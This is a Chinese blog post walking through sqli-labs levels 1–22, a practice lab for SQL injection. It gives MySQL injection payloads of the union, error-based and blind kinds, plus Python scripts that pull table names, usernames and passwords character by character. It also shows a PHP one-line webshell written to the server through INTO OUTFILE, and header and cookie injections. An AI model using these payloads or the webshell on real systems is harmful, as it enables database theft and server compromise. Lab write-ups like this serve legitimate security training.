[SQL注入][Basci Challenges]sqli-labs学习记录(1-22关)

最新推荐文章于 2023-10-10 22:56:08 发布
最新推荐文章于 2023-10-10 22:56:08 发布
阅读量6.7k 收藏 7
点赞数 2
分类专栏： 安全学习 # Web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/solitudi/article/details/107904965
版权
安全学习 同时被 2 个专栏收录
210 篇文章 86 订阅
订阅专栏
Web
94 篇文章 22 订阅
订阅专栏

学习记录

前置小知识点

系统函数

version()——MySQL 版本
user()——数据库用户名
database()——数据库名
@@datadir——数据库路径
@@version_compile_os——操作系统版本

字符串连接函数

  • 1.concat(str1,str2,…)——没有分隔符地连接字符串
  • 2.concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  • 3.group_concat(str1,str2,…)——连接一个组的所有字符串，并以逗号分隔每一条数据 说着比较抽象，其实也并不需要详细了解，知道这三个函数能一次性查出所有信息就行了。

一般用于替换的语句

or 1=1–+
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+

union 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。但是UNION 内部的 SELECT 语句必须拥有相同数量的列，列也必须拥有相似的数据类型。同时每条 SELECT 语句中的 列的顺序必须相同。
🐻：默认地，UNION 操作符选取不同的值。如果允许重复的值，请使用 UNION ALL。

盲注小知识点

布尔型

逻辑判断

  • left(database(),1)>’s’ //left()函数
    说明:database()显示数据库名称，left(a,b)从左侧截取 a 的前 b 位
  • ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+ //substr()函数，ascii()函数
    说明：substr(a,b,c)从 b 位置开始，截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值
    比如：ascii(substr((select database()),1,1))=98
  • ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数，MID()函数
    说明：mid(a,b,c)从位置 b 开始，截取 a 字符串的 c 位 Ord()函数同 ascii()，将字符转为 ascii 值

配合正则注入

regexp 正则注入
用法介绍：select user() regexp ‘^[a-z]’;
说明：正则表达式的用法，user()结果为 root，regexp 为匹配 root 的正则表达式。 第二位可以用 select user() regexp '^ro’来进行。

Payload

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
以上语句可以简化成如下的形式
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
如果关键的表被禁用了，可以使用这种形式 
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

exp 报错

  • select exp(~(select * FROM(SELECT USER())a))
  • 说明：double 数值类 型超出范围
  • Exp()为以 e 为底的对数函数；版本在 5.5.5 及其以上
    参考 exp 报错文章

bigint溢出

  • select !(select * from (select user())x) - ~0
  • bigint 超出范围；~0 是对 0 逐位取反，很大的版本在 5.5.5 及其以上
    具体可以百度，我也不太清楚

其他

extractvalue(1,concat(0x7e,(select @@version),0x7e)) 
--+ mysql 对 xml 数据进 行查询和修改的 xpath 函数，xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
--+ mysql 对 xml 数据进行 查询和修改的 xpath 函数，xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
--+ mysql 重复特性，此处重复了 version，所以报错
select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x

基于时间的盲注

If(ascii(substr(database(),1,1))>115,0,sleep(5))#
--+ if 判断语句，条件为假， 执行 sleep
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
--+BENCHMARK(count,expr)用于测试函数的性能，参数一为次数，二为要执行的表达 式。可以让函数执行若干次，返回结果比平时要长，通过时间长短的变化，判断语句是否执 行成功。这是一种边信道攻击，在运行过程中占用大量的 cpu 资源。推荐使用 sleep()

第一关–字符型注入

id=1回显正常
在这里插入图片描述
说明是字符型注入，并且加了这个后多了个’所以注释后面
在这里插入图片描述
可能版本独特报错直接告诉我只有3列
在这里插入图片描述
查表名
在这里插入图片描述
查列名
在这里插入图片描述
查询对应数据
在这里插入图片描述

第二关–数字型注入

id=1与2-1都一样
在这里插入图片描述
查到有3列
在这里插入图片描述
查表名
在这里插入图片描述
查列名
在这里插入图片描述
查询数据
在这里插入图片描述

第三关–构造闭合

得出闭合为(’’)
在这里插入图片描述
有3列在这里插入图片描述
判断表名
在这里插入图片描述
判断列名
在这里插入图片描述
得到数据
在这里插入图片描述

第四关 —闭合sql语句

闭合方式("")
在这里插入图片描述
有3列在这里插入图片描述
查表名
在这里插入图片描述

查列名
在这里插入图片描述
查数据
在这里插入图片描述

第五关 ----- 盲注

这一关如果正确则显示you are in …,失败则无，判断是盲注，再加上没有绕过，直接上二分法脚本

import requests

url = "url/?id=1' and 1= "


result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr(database(),{i},1))>{mid},1,0)--+'
        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)--+'
        # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0)--+'
        # payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0)--+'
        payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0)--+'
        r = requests.get(url + payload)
        if "You are in" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
print(result)

第六关 ------时间盲注与报错注入

import requests

url = "url/?id=1\" and 1= "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'if(ascii(substr(database(),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,sleep(3))--+'
        try:
            r = requests.get(url + payload, timeout=2)
            head = mid + 1
        except Exception as e:
            tail = mid


    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

当然报错注入也是ok的

在这里插入图片描述
这个也行
在这里插入图片描述
数据溢出那些都可以就不再演示

第七关 — 文件导入

看提示
在这里插入图片描述
插入一句话木马完事了
http://127.0.0.1/sqllib/Less-7/?id=1’))UNION SELECT 1,2,’<?php @eval($_post[“mima”])?>’ i nto outfile “c:\wamp\www\sqllib\Less-7\yijuhua.php”–+

第八关 — 盲注

这关不能用报错注入，看源代码发现把错误提示注释了

import requests

url = "url?id=1' and 1="

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr(database(),{i},1))>{mid},1,0)--+'
        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)--+'
        # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0)--+'
        # payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0)--+'
        # payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0)--+'
        r = requests.get(url + payload, timeout=2)
        if 'You are in' in r.text:
            head = mid + 1
        else:
            tail = mid



    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

第九关-----时间盲注

看标题知道是时间盲注，事实上不管我咋输入其他sql语句都是一个结果，用二分法爆出结果

import requests

url = "url?id=1' and 1="

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'if(ascii(substr(database(),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,sleep(3))--+'
        try:
            r = requests.get(url + payload, timeout=2)
            head = mid + 1
        except Exception as e:
            tail = mid



    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

第十关-----基于双引号的时间盲注

import requests

url = "url/?id=1\" and 1="

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'if(ascii(substr(database(),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,sleep(3))--+'
        try:
            r = requests.get(url + payload, timeout=2)
            head = mid + 1
        except Exception as e:
            tail = mid



    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

第十一关-----POST型注入

不知道为什么用–+就不行，用#注释也不行
admin'or'1'='1#这样发现可以
判断两列
uname=admin' or 1=1 union select 1,2-- -&passwd=admin&submit=Submit
得到回显位置
在这里插入图片描述
查数据库
在这里插入图片描述
查数据表
在这里插入图片描述
查users表下的列名
在这里插入图片描述
查数据
在这里插入图片描述

第十二关–闭合

通过构造参数我发现sql语句应该是类似这样@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
在这里插入图片描述
后面就是老思路了，也没waf
在这里插入图片描述

第十三关—报错注入

其实也可以像这样，但是我想试试报错注入
uname=admin’)and left(database(),1)>‘a’#&passwd=1&submit=Submit
在这里插入图片描述
updatexml测试没问题
111') and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
在这里插入图片描述
111') and extractvalue(1,concat(0x7e,(select @@version),0x7e))#也没问题
在这里插入图片描述
那就随便玩了

第十四关 — 盲注

报错注入也行我想玩一下盲注
上二分法脚本

import requests

url = "url"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'hhh" or 1=if(ascii(substr(database(),{i},1))>{mid},1,0)#'
        payload = f'hhh" or 1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)-- -'
        # payload = f'hhh" or 1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0) #'
        # payload = f'hhh" or 1=if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0) #'
        # payload = f'hhh" or 1=if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0) #'
        data = {
            'uname': 'hhh',
            'passwd': payload
        }
        r = requests.post(url, data=data)
        if 'flag' in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

第十五关—盲注

无聊的重复工作，懒得做了，改个参数就行

import requests

url = "url"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'hhh\' or 1=if(ascii(substr(database(),{i},1))>{mid},1,0)#'
        payload = f'hhh\' or 1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)-- -'
        # payload = f'hhh\' or 1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0) #'
        # payload = f'hhh\' or 1=if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0) #'
        # payload = f'hhh\' or 1=if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0) #'
        data = {
            'uname': payload,
            'passwd': ' '
        }
        r = requests.post(url, data=data)
        if 'flag' in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

第十六关 — 盲注报错都行无聊的题

import requests

url = "url"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'hhh") or 1=if(ascii(substr(database(),{i},1))>{mid},1,0)#'
        # payload = f'hhh") or 1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)-- -'
        # payload = f'hhh") or 1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0) #'
        # payload = f'hhh") or 1=if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0) #'
        payload = f'hhh") or 1=if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0) #'
        data = {
            'uname': payload,
            'passwd': ' '
        }
        r = requests.post(url, data=data)
        if 'flag' in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

第十七关 — 报错注入

这关不能在username哪里搞事情，看了源码就知道了，一堆转义
在这里插入图片描述

发现加了'后出错
在这里插入图片描述
注释掉后又正常，猜测语句为：
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
这里用爆错注入吧
1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#,没啥问题
在这里插入图片描述

第十八关 — UA注入

有个这个猜测改IP参数
在这里插入图片描述

发现改IP不好搞诶，试一下登录，通过爆破得到用户名和密码
在这里插入图片描述
发现改UA头没问题，也没有waf，那就算是做完了
在这里插入图片描述

第十九关—Referer头注入

还是老规矩吧，先登录看一下是啥类型的
在这里插入图片描述
和18关一样没啥好做的吧
在这里插入图片描述

第二十关 — Cookie注入

这个提示还不明显么
在这里插入图片描述
修改Cookie为uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
懒得做了都这样了还做不出来才怪了

第二十一关 — Cookie注入

看了一眼也就是base64而已
在这里插入图片描述
把上一关payload base64编码即可
uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2 VkaXIpLDB4N2UpKSM=
就算做完了

第二十二关 — Cookie注入

好像绕过了报错注入，那就手动试一试
在这里插入图片描述
hhh没问题，只是那个加密网站辣鸡出问题了
在这里插入图片描述

Y4tacker
关注
专栏目录
访问swaggerUI接口文档显示basic-error-controller问题
LeslieTsai2019的博客
07-25 721
package com.shanjupay.merchant.config; import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import springfox.docume.
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析
Jay17的博客
08-03 3万+
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析 详细，超级详细
Sqli_labs65关通关详解
最新发布
weixin_45281236的博客
10-10 362
【代码】Sqli_labs65关通关详解。
Sqli-labs 1-65关的解题记录（做题思路与简要）
CaesarQu的博客
08-13 3812
Sqli-labs的详细解题记录 Less-1: 进入关卡内先判断是否存在注入情况，先输入？id =1 and 1=1，发现没有变化，换成and 1=2,依旧没有变化，考虑是为字符型而非整形。用 ’ 进行测试，发现页面报错，出现如下显示，证明可以进行SQL注入。 发现为字符型的后先在后面加一个注释符 --+ 可以发现正常返回数据。 此处可以用 order by 对前面的数据进行排列，先进行试数，发现只有三组数据，'order by 4–+就会超出 然后就可以进行union联合注入 然后就可以获取所有
sqli-lab5和10关详解
cangyu51462的博客
04-16 2327
sqli-lab5和10关详解
sqli-labs-----第五关
wyzhxhn的博客
11-06 877
单引号字符型updatexml报错注入
cyber-security-brochure-page:一个包含一些 basci 样式的网站
07-24
1. **安全意识**：介绍为何网络安全重要，以及忽视安全可能带来的风险，如身份盗窃、数据泄露和恶意软件攻击。 2. **密码管理**：强调使用强密码的重要性，推荐使用复杂的组合，包含大写字母、小写字母、数字和特殊...
Visual Basci实验报告
05-28
Visual Basci实验报告
基于VISUAL BASCI和sql server 2000编写的物流管理系统
06-03
1. 订单管理：系统能够接收、处理和跟踪订单，包括录入客户信息、商品信息、发货日期等，以及订单的状态变化，如待处理、已发货、已完成等。 2. 库存管理：实时监控库存水平，预测和预警低库存情况，支持库存的入库...
Visual Basci编写FTP服务端与客户端
05-07
摘要:VB源码,网络相关,FTP　Visual Basci （VB6.0）编写的FTP服务端与客户端实例程序源码，很小的FTP C/S结构实例，还有很多功能不完善，只是一个雏形，甚至不能正常使用，例子主要是演示如何实现，至于想要的功能，...
sql-labs 闯关 5~10
qq_44663230的博客
08-14 1676
sql-labs 第5~10关 盲注系列
sqli-labs 第五关
m0_63711447的博客
04-01 4574
第五关可以用很多种方法来做，报错型注入，二次查询注入等，这里用布尔盲注手工注入的方法来做 Less -5 1、输入?id=1，显示you are in 将1改为3，5等数字，仍然得相同结果，改为100，发现没有回显，由此可知正确的情况下会返回you are in，错误的情况下没有返回， 输入?id=1'，出现报错信息，由此判断存在注入漏洞 2、使用order by 语句进行查列，order by 3的时候正常回显，order by 4无回显，说明有三列 3、对于这题不能使用联合查询，无.
sql-labs1
Braindance
02-28 340
前言 在线靶机地址：https://buuoj.cn/challenges#sqli-labs less-1 ​ 首先说明sql注入的大致步骤： 判断注入类型。如整型字符型注入等。 判断列数 判断数据的回显位 构造sql语句 ​ 根据题目提示，说明是一个单引号注入题目，构造一个带单引号的语句?id=1'，发现数据库报错 ​ 通过后面的报错语句1'' LIMIT 0,1的分析，我们的单引号被数据库解析，那么说明我们也可以使用连接查询union插入我们想要查询的语句。 ​ 推出数据库的查询的部分语句可能.
SQLi-Labs1~65关通关攻略
Clannad的博客
10-30 8883
文章目录1~10Less-1Less-2Less-3Less-4Less-5Less-6Less-7Less-8Less-9Less-1011~20Less-11Less-12Less-13Less-14Less-15Less-16Less-17Less-18Less-19Less-2021~30Less-21Less-22Less-23Less-24Less-25Less-26Less-27Le...
sqli-labs 1-65教程
任小海博客
08-19 1万+
导语 做完DVWA感觉还是对sql注入了解不够多，尝试做了一下这个实验。 里面是所有的payload和一些解释。 Less1-35 Less-1 Please input the ID as parameter with numeric value 尝试输入ID=1’ 这是一个字符型注入 Payload : id=1’ Less-2 这是一个数字型注入 Payload : ...
sqli-labs-基于布尔的盲注
zlloveyouforever的博客
04-29 1109
sqli-labs第五关--基于布尔的盲注
sqli-labs靶场第七关
gou1791241251的博客
12-23 2047
开始我们的第七关，传入参数id=1试试看吧 第一步判断注入类型吧
sqli-labs (less-65)
kukudeshuo的博客
03-20 469
sqli-labs (less-65) 进入65关，输入 http://127.0.0.1/sql1/Less-65/?id=1 http://127.0.0.1/sql1/Less-65/?id=1' http://127.0.0.1/sql1/Less-65/?id=1" 没有任何错误信息，依然还是万恶的Boolean盲注 http://127.0.0.1/sql1/Less-65/?id=1"--+ #回显错误 http://127.0.0.1/sql1/Less-65/?id=1")--
sqli-labs闯关指南 1—10
热门推荐
18年3月萌新白帽子
06-18 5万+
如果你是使用的phpstudy，请务必将sql的版本调到5.5以上，因为这样你的数据库内才会有information_schema数据库，方便进行实验测试。另外-- （这里有一个空格，--空格）在SQL内表示注释，但在URL中，如果在最后加上-- ，浏览器在发送请求的时候会把URL末尾的空格舍去，所以我们用--+代替-- ，原因是+在URL被URL编码后会变成空格。第一关1.经过语句and 1=2...
安全测试：SQL注入攻防
weixin_34324081的博客
06-26 1282
2019独角兽企业重金招聘Python工程师标准>>> ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值